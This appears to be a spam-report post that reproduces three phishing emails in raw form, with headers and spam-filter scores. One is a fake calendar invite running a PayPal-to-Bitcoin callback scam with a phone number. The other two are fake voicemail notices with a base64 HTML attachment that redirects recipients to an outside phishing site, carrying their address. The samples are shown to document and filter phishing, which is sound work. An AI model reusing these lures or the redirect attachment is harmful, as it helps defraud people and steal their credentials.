[40.93.12.22 listed in dnsbl.ahbl.org]

[40.93.12.22 listed in dnsbl.ahbl.org]

[40.93.12.22 listed in dnsbl.ahbl.org]

[209.85.128.71 listed in dnsbl.ahbl.org]

[209.85.128.71 listed in dnsbl.ahbl.org]

[209.85.128.71 listed in dnsbl.ahbl.org]

[209.85.128.71 listed in dnsbl.ahbl.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[dnsbl.ahbl.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[40.93.12.22 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[40.93.12.22 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[40.93.12.22 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[40.93.12.22 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[40.93.12.22 listed in list.dnswl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[40.93.12.22 listed in wl.mailspike.net]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 HK_RANDOM_REPLYTO Reply-To username looks random

3.5 VOWEL_FROM_7 Impronouncable from header (7+ consecutive vowels)

0.5 FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters

1.0 HK_RANDOM_FROM From username looks random

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[40.93.12.22 listed in bl.score.senderscore.com]

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

0.2 FREEMAIL_REPLYTO_END_DIGIT Reply-To freemail username ends in digit

[haressaznzxrrsxaxz321(at)gmail.com]

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[haressaznzxrrsxaxz321(at)gmail.com]

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

0.3 LONGWORD BODY: Uses overlong words

0.6 MEGALONGWORD BODY: Uses really overlong words

0.1 TW_RW BODY: Odd Letter Triples with RW

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom

freemail headers are different

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.1 TO_IN_SUBJ To address is in Subject

3.0 LONG_INVISIBLE_TEXT Long block of hidden text - bayes poison?

Subject: {SPAM?} =?UTF-8?Q?Pozv=C3=A1nky=3A_Confirmation_Notice_=2D_PayPal_to_BTC_Trans?=

=?UTF-8?Q?action_Initiated_=40_st_10=2E_j=C3=BAn_2026_=28cynthiaperez389903=40grou?=

=?UTF-8?Q?ps=2Eoutlook=2Ecom=29?=





Haresasz Nxysarwsa has invited you to Confirmation Notice – PayPal to BTC Transaction Initiated

Title: Confirmation Notice – PayPal to BTC Transaction Initiated

When: June 10, 2026

Organizer:

Haresasz Nxysarwsa

Description: Dear Customer,



Thank you for your recent PayPal payment. This email confirms that your Bitcoin (BTC) order has been initiated successfully.



Order Details:



Asset Purchased: Bitcoin (BTC)

Payment Method: PayPal

Total Amount: $750.00

Current Status: Processing



Your transaction is now being validated through our secure payment system. Please allow a short period for completion.



If this transaction was not authorized by you, contact our customer support team immediately at +1 805 424 9350.



Best Regards,

Transaction Processing Department

Bitcoin payment by Paypal phish from Microsoft Outlook Part 1

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 11:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXMHp-000000005Pi-0N8E

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 11:00:17 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 11:00:17 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-eastus2azlp17010022.outbound.protection.outlook.com ([40.93.12.22]:47930 helo=BN1PR04CU002.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXLJH-00000000OSe-1j7h

for doctor@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 09:57:55 -0600

Received: from DU7P195CA0023.EURP195.PROD.OUTLOOK.COM (2603:10a6:10:54d::7) by

CH3PR18MB5572.namprd18.prod.outlook.com (2603:10b6:610:1a7::10) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.92.10; Wed, 10 Jun

2026 15:56:44 +0000

Received: from DU2PEPF00028D0E.eurprd03.prod.outlook.com

(2603:10a6:10:54d:cafe::75) by DU7P195CA0023.outlook.office365.com

(2603:10a6:10:54d::7) with Microsoft SMTP Server (version=TLS1_3,

cipher=TLS_AES_256_GCM_SHA384) id 15.21.113.11 via Frontend Transport; Wed,

10 Jun 2026 15:56:44 +0000

Authentication-Results: spf=pass (sender IP is 209.85.128.71)

smtp.mailfrom=gmail.com; dkim=pass (signature was verified)

header.d=google.com;dkim=pass (signature was verified)

header.d=gmail.com;dmarc=pass action=none header.from=gmail.com;compauth=pass

reason=100

Received-SPF: Pass (protection.outlook.com: domain of gmail.com designates

209.85.128.71 as permitted sender) receiver=protection.outlook.com;

client-ip=209.85.128.71; helo=mail-wm1-f71.google.com; pr=C

Received: from mail-wm1-f71.google.com (209.85.128.71) by

DU2PEPF00028D0E.mail.protection.outlook.com (10.167.242.22) with Microsoft

SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.92.5 via

Frontend Transport; Wed, 10 Jun 2026 15:56:44 +0000

X-IncomingTopHeaderMarker:

OriginalChecksum:68501C0D891B5B66F2073CBCD6F5CA21A04251E765ADCE7A1F09BB2D96EAA9DA;UpperCasedChecksum:20E408A6F80660D3060EFDB43D41C242C3055976A13179A14C32E9DD40F46C49;SizeAsReceived:3417;Count:15

Received: by mail-wm1-f71.google.com with SMTP id 5b1f17b1804b1-490addd42bbso43299275e9.3

for ; Wed, 10 Jun 2026 08:56:44 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=google.com; s=20251104; t=1781107003; x=1781711803; darn=groups.outlook.com;

h=to:from:subject:date:message-id:sender:reply-to:mime-version:from

:to:cc:subject:date:message-id:reply-to;

bh=JaKUbgCDOf4RzBlYoXKbBnNqJmbXcARrznL5VjlVvJM=;

b=FKt2qaJXcw8QGIxuYGEUrHDMWYYIDBKgK+3cR0ad+MlmI5M6L1FvIJR3+2IQpFCt3r

NS97LTg89c0Dfp5lG+0crL3TzJbZzTUwdOpGy9RLuPrsOWOHnm7B6rKPX6B1oVRdZxI0

USwuExts2/Rp1q6ATkfgptqMkRzN7vch0Pvkm7YdCeDMLvswnv3FbZTYytOw/eg8YikX

9VXB+9uyTmwnxdSgnX7PAqMwv6EOUonmkaVk/Tw2coMrFHdPhM/kzHN3iieb7ExOFyVg

ISOR4Q08a2izJvAPFq3nQ8eex/8zxkzdYSOxOZltnu+XpWl4k5nLjXzT+vuIdmAFzadf

uJyQ==

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20251104; t=1781107003; x=1781711803; darn=groups.outlook.com;

h=to:from:subject:date:message-id:sender:reply-to:mime-version:from

:to:cc:subject:date:message-id:reply-to;

bh=JaKUbgCDOf4RzBlYoXKbBnNqJmbXcARrznL5VjlVvJM=;

b=lww9eYBsq0JLGrZmsvNKTjVq7MMyIE+AXletGLkULTpAD2JknP5Ugvl3vFRNPMVOW+

EZrE2ZP5da42k71xMnqbEB4iy+rhKWIopT9k8yaDpZOzUTjX7kuYFMS7I8TNoyruxkNi

GAYXZPnMbhcQf7Hm4zzae6Dnc8YMFwuUALNgJ3oknd9ZENeDbGZcV86pchF0dCb3/kJL

QMQzFAiYfXYRzt81ybI5NbM0Go7HXwA1CTjLgnrUpvCIEg7agPOCB/a+zYavVuCLEdf7

AfFAeBeRSh0FIJN3HoionLQHxFjx1lL/6GfKp/+7UyO6QrqmZaq/8P6FZGo5DbtXm7LY

HTNg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1781107003; x=1781711803;

h=to:from:subject:date:message-id:sender:reply-to:mime-version

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;

bh=JaKUbgCDOf4RzBlYoXKbBnNqJmbXcARrznL5VjlVvJM=;

b=B07tasRP7AqEVJgpObRBfMMrDa6S5p+qBENyc+NCMY8fIvRIBCAvJ94PpYmt3K4aOa

jxvh4fMYfU+XK+ImPQ5/k+8VnaxyCsRnEmCYV118IUJWA7CLfR3fL7b8S+HBzQP/vc7q

cVqisRmXvFEvGIWbZP7p1GPys0ndUJzJOV0Ub00e4k7j4t5k6ZiR6gnDoyioToCzVU+e

IyBIs4yHXpvXT2z1hsvdogR836fLY1347WqJqCdpKOiFEbY+ExzVwm+y9uGXsbrr4zAs

eGuWgnsNv5eaf58QxVWoWN+3kgdBQfAjc+IlnnbJhbALlNFzkqGNUDWeomeEtXi1WPu4

kYdw==

X-Gm-Message-State: AOJu0YwQG/FmT7XhX7F9QD5y7CWPPD3c7mU8EIrSmQiE0+Ya72oy2PE5

S+RAqeE7zEVjRwC4P1Wd63lNxj6FePZIEWfUcvn77Igy9mFlTM1T4H8bVNex2qX/wgmlBvDXwqz

GXB9Amt00w5nhXuy3BQ9w/9EGZQYnS/3+7/w=

MIME-Version: 1.0

X-Received: by 2002:a05:600c:3ba4:b0:490:bad9:de43 with SMTP id

5b1f17b1804b1-490c2525dacmr454354195e9.0.1781107003501; Wed, 10 Jun 2026

08:56:43 -0700 (PDT)

Reply-To: Haresasz Nxysarwsa

Sender: =?UTF-8?Q?Kalend=C3=A1r_Google?=

Message-ID:

Date: Wed, 10 Jun 2026 15:56:43 +0000

Subject: =?UTF-8?Q?Pozv=C3=A1nky=3A_Confirmation_Notice_=2D_PayPal_to_BTC_Trans?=

=?UTF-8?Q?action_Initiated_=40_st_10=2E_j=C3=BAn_2026_=28cynthiaperez389903=40grou?=

=?UTF-8?Q?ps=2Eoutlook=2Ecom=29?=

From: Haresasz Nxysarwsa

To: cynthiaperez389903@groups.outlook.com

Content-Type: multipart/mixed; boundary="00000000000040333a0653e84a3e"

X-IncomingHeaderCount: 15

X-EOPAttributedMessage: 0

X-EOPTenantAttributedMessage: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa:0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: DU2PEPF00028D0E:EE_|CH3PR18MB5572:EE_

X-MS-Office365-Filtering-Correlation-Id: c28fb6a7-8441-4852-23ea-08dec708de95

X-MS-Exchange-EOPDirect: true

X-Sender-IP: 209.85.128.71

X-SID-PRA: HARESSAZNZXRRSXAXZ321@GMAIL.COM

X-SID-Result: PASS

X-MS-Consumer-Group-Expansion-Loop: cynthiaperez389903@groups.outlook.com

X-MS-Exchange-Group-Expansion-Loop: cynthiaperez389903@groups.outlook.com

X-Microsoft-Antispam:

BCL:0;ARA:1444111002|9020799019|9000799056|6019299003|26130799012|22000799015|3151999006|16200799027|29080799009|26000799027|4040799016|32020799003|970799063|9400799043|34130799006|5139299004|6149299003|3069299007|1680799066|24102599021|6092099016|26104999009|21002599022;

voicemail phish

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 11:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXMI8-000000005Tk-0jCF

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 11:00:36 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 11:00:36 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from cloud-742f29.managed-vps.net ([217.174.149.146]:53682)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXLsR-0000000019d-0Sep

for sales@netknow.ca;

Wed, 10 Jun 2026 10:34:12 -0600

Received: from [172.200.160.217] (port=64758 helo=[127.0.0.1])

by cloud-742f29.managed-vps.net with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.2)

(envelope-from )

id 1wXLrX-00000005pyQ-3c8q

for sales@netknow.ca;

Wed, 10 Jun 2026 17:33:07 +0100

Content-Type: multipart/mixed; boundary="--_NmP-8c10c209c819ea82-Part_1"

From: Netknow Voicemail

To: sales@netknow.ca

Subject: You Received a Voicemail

Message-ID: <1cf3a195-4011-869f-06dc-28f31a62098b@monitorguard.co.uk>

X-Priority: 1 (Highest)

X-Msmail-Priority: High

Importance: High

Date: Wed, 10 Jun 2026 16:33:08 +0000

MIME-Version: 1.0

X-Authenticated-Sender: sales@monitorguard.co.uk

X-Spam_score: 9.3

X-Spam_score_int: 93

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Netknow Voicemail System Hello sales,



Content analysis details: (9.3 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[172.200.160.217 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[172.200.160.217 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[172.200.160.217 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[172.200.160.217 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[217.174.149.146 listed in bb.barracudacentral.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

1.8 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

0.0 T_FROM_12LTRDOM From a 12-letter domain

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[217.174.149.146 listed in bl.score.senderscore.com]

Subject: {SPAM?} You Received a Voicemail



----_NmP-8c10c209c819ea82-Part_1

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: quoted-printable




,sans-serif;">


#e0e0e0; border-radius: 12px; font-family: 'Source Sans Pro', Calibri, =

Candara, Arial, sans-serif; background: #ffffff; box-shadow: 0 4px 10px =

rgba(0,0,0,0.05); padding: 25px;">


padding-bottom: 15px; margin-bottom: 20px;">
font-size: 22px; font-weight: bold; display: block;"> Netknow Voicemail =

System


Hello
style=3D"font-weight: bold; background-color: #f0f0f8; padding: 2px 6px; =

border-radius: 4px;">sales,



You have =

received a new voicemail message in your inbox.




background: #fafafa; border-radius: 8px; overflow: hidden;">






















width: 40%; background: #f3f3fc;">Message Duration

#333;">00:15

background: #f3f3fc;">Date Received
June 10, =

2026 at 11:33:08 AM


The =

voicemail message is attached to this email for your convenience.




1px solid #eee; padding-top: 15px; margin-top: 20px;">Netknow Voicemail =

System — keeping you connected, one message at a time.







----_NmP-8c10c209c819ea82-Part_1

Content-Type: text/html; name=VN0006102026.html

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=VN0006102026.html



PCFET0NUWVBFIGh0bWw+PG1ldGEgY2hhcnNldD0idXRmLTgiPjxtZXRhIGh0dHAtZXF1aXY9InJl

ZnJlc2giIGNvbnRlbnQ9IjA7dXJsPWh0dHBzOi8vYWQuZG91YmxlY2xpY2submV0L2RkbS90cmFj

a2Nsay9ONDg5Mi41MDIwLjQ3NzQyOTEzODI0MjEvQjIzOTk5MjkzLjI3MTUzOTEyMztkY190cmtf

YWlkPTQ2NjAxNjc3MDtkY190cmtfY2lkPTEzMTEwMTI5MjtkY19sYXQ9O2RjX3JkaWQ9O3RhZ19m

b3JfY2hpbGRfZGlyZWN0ZWRfdHJlYXRtZW50PTt0ZnVhPT9odHRwczovL2FrbW9kYXRlLmNvbS9j

I2MyRnNaWE5BYm1WMGEyNXZkeTVqWVE9PSI+

----_NmP-8c10c209c819ea82-Part_1--

Voicemail phish from Microsoft

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 11:00:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXMHE-000000005GR-2zwG

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 10:59:40 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 10:59:40 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from cloud-742f29.managed-vps.net ([217.174.149.146]:50040)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXK2b-00000000IUG-10BO

for sales@nk.ca;

Wed, 10 Jun 2026 08:36:35 -0600

Received: from [172.200.160.217] (port=50173 helo=[127.0.0.1])

by cloud-742f29.managed-vps.net with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.2)

(envelope-from )

id 1wXK1i-00000005JXW-2oed

for sales@nk.ca;

Wed, 10 Jun 2026 15:35:30 +0100

Content-Type: multipart/mixed; boundary="--_NmP-95025ba9e3213c74-Part_1"

From: Nk Voicemail

To: sales@nk.ca

Subject: You Received a Voicemail

Message-ID: <92250ac7-52d4-f691-420b-688e85e48e4d@monitorguard.co.uk>

X-Priority: 1 (Highest)

X-Msmail-Priority: High

Importance: High

Date: Wed, 10 Jun 2026 14:35:30 +0000

MIME-Version: 1.0

X-Authenticated-Sender: sales@monitorguard.co.uk

X-Spam_score: 9.3

X-Spam_score_int: 93

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Nk Voicemail System Hello sales,



Content analysis details: (9.3 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[172.200.160.217 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

[217.174.149.146 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[217.174.149.146 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

[172.200.160.217 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[217.174.149.146 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[217.174.149.146 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[217.174.149.146 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[217.174.149.146 listed in dnsbl.ahbl.org]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[217.174.149.146 listed in bb.barracudacentral.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[217.174.149.146 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

1.8 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.0 T_FROM_12LTRDOM From a 12-letter domain

Subject: {SPAM?} You Received a Voicemail



----_NmP-95025ba9e3213c74-Part_1

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: quoted-printable




,sans-serif;">


#e0e0e0; border-radius: 12px; font-family: 'Source Sans Pro', Calibri, =

Candara, Arial, sans-serif; background: #ffffff; box-shadow: 0 4px 10px =

rgba(0,0,0,0.05); padding: 25px;">


padding-bottom: 15px; margin-bottom: 20px;">
font-size: 22px; font-weight: bold; display: block;"> Nk Voicemail System =



Hello
style=3D"font-weight: bold; background-color: #f0f0f8; padding: 2px 6px; =

border-radius: 4px;">sales,



You have =

received a new voicemail message in your inbox.




background: #fafafa; border-radius: 8px; overflow: hidden;">






















width: 40%; background: #f3f3fc;">Message Duration

#333;">00:15

background: #f3f3fc;">Date Received
June 10, =

2026 at 09:35:30 AM


The =

voicemail message is attached to this email for your convenience.




1px solid #eee; padding-top: 15px; margin-top: 20px;">Nk Voicemail System =

— keeping you connected, one message at a time.







----_NmP-95025ba9e3213c74-Part_1

Content-Type: text/html; name=VN0006102026.html

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=VN0006102026.html



PCFET0NUWVBFIGh0bWw+PG1ldGEgY2hhcnNldD0idXRmLTgiPjxtZXRhIGh0dHAtZXF1aXY9InJl

ZnJlc2giIGNvbnRlbnQ9IjA7dXJsPWh0dHBzOi8vYWQuZG91YmxlY2xpY2submV0L2RkbS90cmFj

a2Nsay9ONDg5Mi41MDIwLjQ3NzQyOTEzODI0MjEvQjIzOTk5MjkzLjI3MTUzOTEyMztkY190cmtf

YWlkPTQ2NjAxNjc3MDtkY190cmtfY2lkPTEzMTEwMTI5MjtkY19sYXQ9O2RjX3JkaWQ9O3RhZ19m

b3JfY2hpbGRfZGlyZWN0ZWRfdHJlYXRtZW50PTt0ZnVhPT9odHRwczovL2FrbW9kYXRlLmNvbS9j

I2MyRnNaWE5BYm1zdVkyRT0iPg==

----_NmP-95025ba9e3213c74-Part_1--